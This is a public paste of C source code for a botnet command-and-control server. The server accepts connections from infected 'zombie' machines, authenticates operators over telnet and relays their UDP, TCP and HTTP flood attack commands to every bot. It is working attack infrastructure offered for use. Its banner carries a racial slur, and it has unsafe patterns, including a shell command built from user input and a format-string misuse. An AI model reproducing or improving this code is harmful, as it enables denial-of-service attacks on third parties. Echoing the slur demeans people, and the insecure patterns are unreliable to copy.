Advertisement
Guest User

Untitled

a guest
May 27th, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.12 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14. #include <ctype.h>
  15. #define MAXFDS 1000000
  16. #define RED "\x1b[0;31m"
  17. #define GREEN "\x1b[0;32m"
  18. #define C_RESET "\x1b[0m"
  19.  
  20. struct account {
  21. char id[20];
  22. char password[20];
  23. };
  24. static struct account accounts[25];
  25.  
  26. struct clientdata_t {
  27. uint32_t ip;
  28. char build[7];
  29. char connected;
  30. } clients[MAXFDS];
  31.  
  32. struct telnetdata_t {
  33. uint32_t ip;
  34. int connected;
  35. } managements[MAXFDS];
  36.  
  37. ////////////////////////////////////
  38.  
  39. static volatile FILE *fileFD;
  40. static volatile int epollFD = 0;
  41. static volatile int listenFD = 0;
  42. static volatile int managesConnected = 0;
  43. static volatile int DUPESDELETED = 0;
  44.  
  45. ////////////////////////////////////
  46.  
  47.  
  48. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  49. {
  50. int total = 0, got = 1;
  51. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  52. return got;
  53. }
  54. void trim(char *str)
  55. {
  56. int i;
  57. int begin = 0;
  58. int end = strlen(str) - 1;
  59. while (isspace(str[begin])) begin++;
  60. while ((end >= begin) && isspace(str[end])) end--;
  61. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  62. str[i - begin] = '\0';
  63. }
  64.  
  65.  
  66. static int make_socket_non_blocking (int sfd)
  67. {
  68. int flags, s;
  69. flags = fcntl (sfd, F_GETFL, 0);
  70. if (flags == -1)
  71. {
  72. perror ("fcntl");
  73. return -1;
  74. }
  75. flags |= O_NONBLOCK;
  76. s = fcntl (sfd, F_SETFL, flags);
  77. if (s == -1)
  78. {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. return 0;
  83. }
  84.  
  85.  
  86. static int create_and_bind (char *port)
  87. {
  88. struct addrinfo hints;
  89. struct addrinfo *result, *rp;
  90. int s, sfd;
  91. memset (&hints, 0, sizeof (struct addrinfo));
  92. hints.ai_family = AF_UNSPEC;
  93. hints.ai_socktype = SOCK_STREAM;
  94. hints.ai_flags = AI_PASSIVE;
  95. s = getaddrinfo (NULL, port, &hints, &result);
  96. if (s != 0)
  97. {
  98. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99. return -1;
  100. }
  101. for (rp = result; rp != NULL; rp = rp->ai_next)
  102. {
  103. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104. if (sfd == -1) continue;
  105. int yes = 1;
  106. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108. if (s == 0)
  109. {
  110. break;
  111. }
  112. close (sfd);
  113. }
  114. if (rp == NULL)
  115. {
  116. fprintf (stderr, "Could not bind\n");
  117. return -1;
  118. }
  119. freeaddrinfo (result);
  120. return sfd;
  121. }
  122. void broadcast(char *msg, int us, char *sender)
  123. {
  124. int sendMGM = 1;
  125. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  126. char *wot = malloc(strlen(msg) + 10);
  127. memset(wot, 0, strlen(msg) + 10);
  128. strcpy(wot, msg);
  129. trim(wot);
  130. time_t rawtime;
  131. struct tm * timeinfo;
  132. time(&rawtime);
  133. timeinfo = localtime(&rawtime);
  134. char *timestamp = asctime(timeinfo);
  135. trim(timestamp);
  136. int i;
  137. for(i = 0; i < MAXFDS; i++)
  138. {
  139. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  140. if(sendMGM && managements[i].connected)
  141. {
  142. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  143. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  144. send(i, " ", 1, MSG_NOSIGNAL);
  145. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  146. send(i, ": ", 2, MSG_NOSIGNAL);
  147. }
  148. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  150. else send(i, "\n", 1, MSG_NOSIGNAL);
  151. }
  152. free(wot);
  153. }
  154.  
  155. void *epollEventLoop(void *useless)
  156. {
  157. struct epoll_event event;
  158. struct epoll_event *events;
  159. int s;
  160. events = calloc (MAXFDS, sizeof event);
  161. while (1)
  162. {
  163. int n, i;
  164. n = epoll_wait (epollFD, events, MAXFDS, -1);
  165. for (i = 0; i < n; i++)
  166. {
  167. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  168. {
  169. clients[events[i].data.fd].connected = 0;
  170. close(events[i].data.fd);
  171. continue;
  172. }
  173. else if (listenFD == events[i].data.fd)
  174. {
  175. while (1)
  176. {
  177. struct sockaddr in_addr;
  178. socklen_t in_len;
  179. int infd, ipIndex;
  180.  
  181. in_len = sizeof in_addr;
  182. infd = accept (listenFD, &in_addr, &in_len);
  183. if (infd == -1)
  184. {
  185. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  186. else
  187. {
  188. perror ("accept");
  189. break;
  190. }
  191. }
  192.  
  193. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  194.  
  195. int dup = 0;
  196. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  197. {
  198. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  199.  
  200. if(clients[ipIndex].ip == clients[infd].ip)
  201. {
  202. dup = 1;
  203. break;
  204. }
  205. }
  206.  
  207. if(dup)
  208. {
  209. DUPESDELETED++;
  210. continue;
  211. }
  212.  
  213. s = make_socket_non_blocking (infd);
  214. if (s == -1) { close(infd); break; }
  215.  
  216. event.data.fd = infd;
  217. event.events = EPOLLIN | EPOLLET;
  218. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  219. if (s == -1)
  220. {
  221. perror ("epoll_ctl");
  222. close(infd);
  223. break;
  224. }
  225.  
  226. clients[infd].connected = 1;
  227. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  228.  
  229. }
  230. continue;
  231. }
  232. else
  233. {
  234. int thefd = events[i].data.fd;
  235. struct clientdata_t *client = &(clients[thefd]);
  236. int done = 0;
  237. client->connected = 1;
  238. while (1)
  239. {
  240. ssize_t count;
  241. char buf[2048];
  242. memset(buf, 0, sizeof buf);
  243.  
  244. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  245. {
  246. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  247. trim(buf);
  248. if(strcmp(buf, "PING") == 0) {
  249. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  250. continue; }
  251. if(strcmp(buf, "PONG") == 0) {
  252. continue; }
  253. printf("buf: \"%s\"\n", buf); }
  254.  
  255. if (count == -1)
  256. {
  257. if (errno != EAGAIN)
  258. {
  259. done = 1;
  260. }
  261. break;
  262. }
  263. else if (count == 0)
  264. {
  265. done = 1;
  266. break;
  267. }
  268. }
  269.  
  270. if (done)
  271. {
  272. client->connected = 0;
  273. close(thefd);
  274. }
  275. }
  276. }
  277. }
  278. }
  279.  
  280. unsigned int clientsConnected()
  281. {
  282. int i = 0, total = 0;
  283. for(i = 0; i < MAXFDS; i++)
  284. {
  285. if(!clients[i].connected) continue;
  286. total++;
  287. }
  288.  
  289. return total;
  290. }
  291.  
  292. void *titleWriter(void *sock)
  293. {
  294. int thefd = (long int)sock;
  295. char string[2048];
  296. while(1)
  297. {
  298. memset(string, 0, 2048);
  299. sprintf(string, "%c]0;Zombies connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  300. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  301.  
  302. sleep(2);
  303. }
  304. }
  305.  
  306. int Search_in_File(char *str)
  307. {
  308. FILE *fp;
  309. int line_num = 0;
  310. int find_result = 0, find_line=0;
  311. char temp[512];
  312.  
  313. if((fp = fopen("login.txt", "r")) == NULL){
  314. return(-1);
  315. }
  316. while(fgets(temp, 512, fp) != NULL){
  317. if((strstr(temp, str)) != NULL){
  318. find_result++;
  319. find_line = line_num;
  320. }
  321. line_num++;
  322. }
  323. if(fp)
  324. fclose(fp);
  325.  
  326. if(find_result == 0)return 0;
  327.  
  328. return find_line;
  329. }
  330. void client_addr(struct sockaddr_in addr){
  331. printf("IP:%d.%d.%d.%d\n",
  332. addr.sin_addr.s_addr & 0xFF,
  333. (addr.sin_addr.s_addr & 0xFF00)>>8,
  334. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  335. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  336. FILE *logFile;
  337. logFile = fopen("server.log", "a");
  338. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  339. addr.sin_addr.s_addr & 0xFF,
  340. (addr.sin_addr.s_addr & 0xFF00)>>8,
  341. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  342. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  343. fclose(logFile);
  344. }
  345.  
  346. void *telnetWorker(void *sock) {
  347. int thefd = (long int)sock;
  348. managesConnected++;
  349. int find_line;
  350. pthread_t title;
  351. char counter[2048];
  352. memset(counter, 0, 2048);
  353. char buf[2048];
  354. char* nickstring;
  355. char usernamez[80];
  356. char* password;
  357. char* admin;
  358. memset(buf, 0, sizeof buf);
  359. char botnet[2048];
  360. memset(botnet, 0, 2048);
  361.  
  362. FILE *fp;
  363. int i=0;
  364. int c;
  365. fp=fopen("login.txt", "r"); // format: user pass
  366. while(!feof(fp))
  367. {
  368. c=fgetc(fp);
  369. ++i;
  370. }
  371. int j=0;
  372. rewind(fp);
  373. while(j!=i-1)
  374. {
  375. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  376. ++j;
  377. }
  378. sprintf(botnet, ""GREEN"Username: \x1b[30m");
  379. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  380. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  381. trim(buf);
  382. sprintf(usernamez, buf);
  383. nickstring = ("%s", buf);
  384. find_line = Search_in_File(nickstring);
  385.  
  386. if(strcmp(nickstring, accounts[find_line].id) == 0){
  387. sprintf(botnet, ""RED"Welcome User\r\n");
  388. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  389. sprintf(botnet, ""GREEN"Password: \x1b[30m");
  390. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  391. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  392. trim(buf);
  393. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  394. memset(buf, 0, 2048);
  395. goto fak;
  396. }
  397. failed:
  398. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  399. goto end;
  400. fak:
  401.  
  402. pthread_create(&title, NULL, &titleWriter, sock);
  403. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  404. if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  405. char line1[80];
  406. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n"GREEN"> "C_RESET"");
  407. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  408. pthread_create(&title, NULL, &titleWriter, sock);
  409. managements[thefd].connected = 1;
  410. while(fdgets(buf, sizeof buf, thefd) > 0)
  411. {
  412. if(strstr(buf, "!* BOTS"))
  413. {
  414. sprintf(botnet, "Zombies connected: "GREEN"[%d]"C_RESET"\r\nOperators connected: "GREEN"[%d]"C_RESET"\r\nDupes Deleted:"GREEN" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  415. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  416. }
  417.  
  418. if (strstr(buf, "!* HELP"))
  419. {
  420. sprintf(botnet, "\x1b[0;32m!* STD IP PORT TIME SIZE || STD/UDP\r\n!* TCP IP PORT TIME SIZE 32 FLAGS SIZE INTERVALS || TCP\r\n!* L7 URL GET/HEAD/POST PORT PATH TIME POWER || LAYER 7\r\n!* KT | KILLS ATTACKS\r\n");
  421. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  422. }
  423.  
  424. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  425. {
  426. int hax;
  427. if(send(thefd, "Countdown Before Attack Will be Sent\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  428. for (hax = 5; hax > 0; --hax) {
  429. sleep(1);
  430. sprintf(botnet, "Time: %d\r\n", hax);
  431. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  432. }
  433. if(send(thefd, "Blast Off!\r\n", 12, MSG_NOSIGNAL) == -1) goto end;
  434. }
  435. if (strstr(buf, "!* CLEAR"))
  436. {
  437. if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  438. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n");
  439. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  440.  
  441. }
  442. if (strstr(buf, "!* EXIT"))
  443. {
  444. goto end;
  445. }
  446. trim(buf);
  447. sprintf(botnet, "\x1b[32m> \x1b[0m");
  448. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  449. if(strlen(buf) == 0) continue;
  450. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  451. FILE *logFile;
  452. logFile = fopen("server.log", "a");
  453. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  454. fclose(logFile);
  455. broadcast(buf, thefd, usernamez);
  456. memset(buf, 0, 2048);
  457. }
  458.  
  459. end: // cleanup dead socket
  460. managements[thefd].connected = 0;
  461. close(thefd);
  462. managesConnected--;
  463. }
  464.  
  465. void *telnetListener(int port)
  466. {
  467. int sockfd, newsockfd;
  468. socklen_t clilen;
  469. struct sockaddr_in serv_addr, cli_addr;
  470. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  471. if (sockfd < 0) perror("ERROR opening socket");
  472. bzero((char *) &serv_addr, sizeof(serv_addr));
  473. serv_addr.sin_family = AF_INET;
  474. serv_addr.sin_addr.s_addr = INADDR_ANY;
  475. serv_addr.sin_port = htons(port);
  476. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  477. listen(sockfd,5);
  478. clilen = sizeof(cli_addr);
  479. while(1)
  480.  
  481. { printf("Connecting To Server: ");
  482. client_addr(cli_addr);
  483. FILE *logFile;
  484. logFile = fopen("IP.log", "a");
  485. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  486. fclose(logFile);
  487. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  488. if (newsockfd < 0) perror("ERROR on accept");
  489. pthread_t thread;
  490. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  491. }
  492. }
  493.  
  494. int main (int argc, char *argv[], void *sock)
  495. {
  496. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  497.  
  498. int s, threads, port;
  499. struct epoll_event event;
  500. char Username[20], Password[20];
  501. #ifdef User
  502. printf("Please Enter Username: ");
  503. scanf("%s",Username);
  504. printf("Please Enter Password: ");
  505. scanf("%s",Password);
  506. char hahaha[80];
  507. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  508. system(hahaha);
  509. #endif
  510. if (argc != 4)
  511. {
  512. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  513. exit (EXIT_FAILURE);
  514. }
  515. port = atoi(argv[3]);
  516. threads = atoi(argv[2]);
  517. if (threads > 850)
  518. {
  519. printf("Are You Dumb? Lower the Threads\n");
  520. return 0;
  521. }
  522. else if (threads < 850)
  523. {
  524. printf("Good Choice in Threading\n");
  525. }
  526. #ifdef User
  527. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  528. #endif
  529. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  530.  
  531. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  532. if (listenFD == -1) abort();
  533.  
  534. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  535. if (s == -1) abort();
  536.  
  537. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  538. if (s == -1)
  539. {
  540. perror ("listen");
  541. abort ();
  542. }
  543.  
  544. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  545. if (epollFD == -1)
  546. {
  547. perror ("epoll_create");
  548. abort ();
  549. }
  550.  
  551. event.data.fd = listenFD;
  552. event.events = EPOLLIN | EPOLLET;
  553. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  554. if (s == -1)
  555. {
  556. perror ("epoll_ctl");
  557. abort ();
  558. }
  559.  
  560. pthread_t thread[threads + 2];
  561. while(threads--)
  562. {
  563. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  564. }
  565.  
  566. pthread_create(&thread[0], NULL, &telnetListener, port);
  567.  
  568. while(1)
  569. {
  570. broadcast("PING", -1, "STRING");
  571. sleep(60);
  572. }
  573.  
  574. close (listenFD);
  575.  
  576. return EXIT_SUCCESS;
  577. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement